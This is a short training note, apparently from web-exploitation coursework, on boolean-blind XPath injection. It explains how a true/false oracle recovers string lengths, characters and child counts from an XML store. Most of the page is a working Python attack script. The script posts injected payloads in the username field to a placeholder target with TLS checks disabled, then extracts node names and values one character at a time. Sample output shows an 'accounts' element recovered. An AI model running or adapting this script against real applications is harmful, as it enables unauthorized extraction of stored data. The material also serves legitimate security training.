Skip to content
Boolean Blind

Boolean Blind

Boolean-blind XPath: oracle + length + char extraction

An XPath Boolean oracle turns one true-or-false XPath condition into an observable application response. A true injected condition makes the application display a known success marker. Repeating these tests recovers the selected XML value one fact at a time.

The extraction process is:

1. Select an XPath expression that returns the required string.
2. Test string-length(<TARGET>)=<NUMBER> until the length is found.
3. Test substring(<TARGET>,<POSITION>,1)='<CHARACTER>' for each position.
4. Keep the character whose condition produces the success marker.

XPath string positions begin at 1. name(/*[1]) returns the name of the document’s first root element, while a path ending at a leaf element returns that element’s text. Passing either expression through the target parameter lets the same length_of() and extract() functions recover names or values.

count(<PATH>/*)=<NUMBER> uses the same oracle to determine how many child elements exist below a path. That count supplies the bounds required by a later tree walk.

import requests, urllib3, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()

URL = "https://target/index.php"
PROXIES = {}
CHARSET = string.ascii_letters + string.digits + "_-@.{}"

# Condition OR'd into a suppressed query; TRUE -> success marker echoed.
# expr is any XPath number (string-length) or boolean (substring()=...).
def oracle(expr):
    data = {"username": f"invalid' or {expr} and '1'='1", "msg": "test"}
    r = s.post(URL, data=data, verify=False, timeout=10, proxies=PROXIES)
    is_true = r.status_code == 200 and "Message successfully sent!" in r.text
    return is_true

# Length of any string-valued XPath: a leaf's text, or name(<path>).
def length_of(target):
    n = 0
    while not oracle(f"string-length({target})={n}"):
        n += 1
    return n

# Char-by-char extraction of any string-valued XPath via substring().
def extract(target):
    out = ""
    for i in range(1, length_of(target) + 1):
        for c in CHARSET:
            if oracle(f"substring({target},{i},1)='{c}'"):
                out += c
                print(f"[+] {target} -> {out}", end="\r")
                break
    print()
    return out

# root name:   extract("name(/*[1])")
# leaf text:   extract("/*[1]/*[1]/*[1]")
# child count:
# for k in range(0, 50):
#     if oracle(f"count(/*[1]/*)={k}"):
#         print(k)
#         break

oracle signal

TRUE  -> body contains 'Message successfully sent!'
FALSE -> marker absent
[+] name(/*[1]) -> accounts

Find by: xpath blind boolean oracle substring string-length name() count children dump char-by-char node name text · Source: CWEE/XPath Injection - Blind Boolean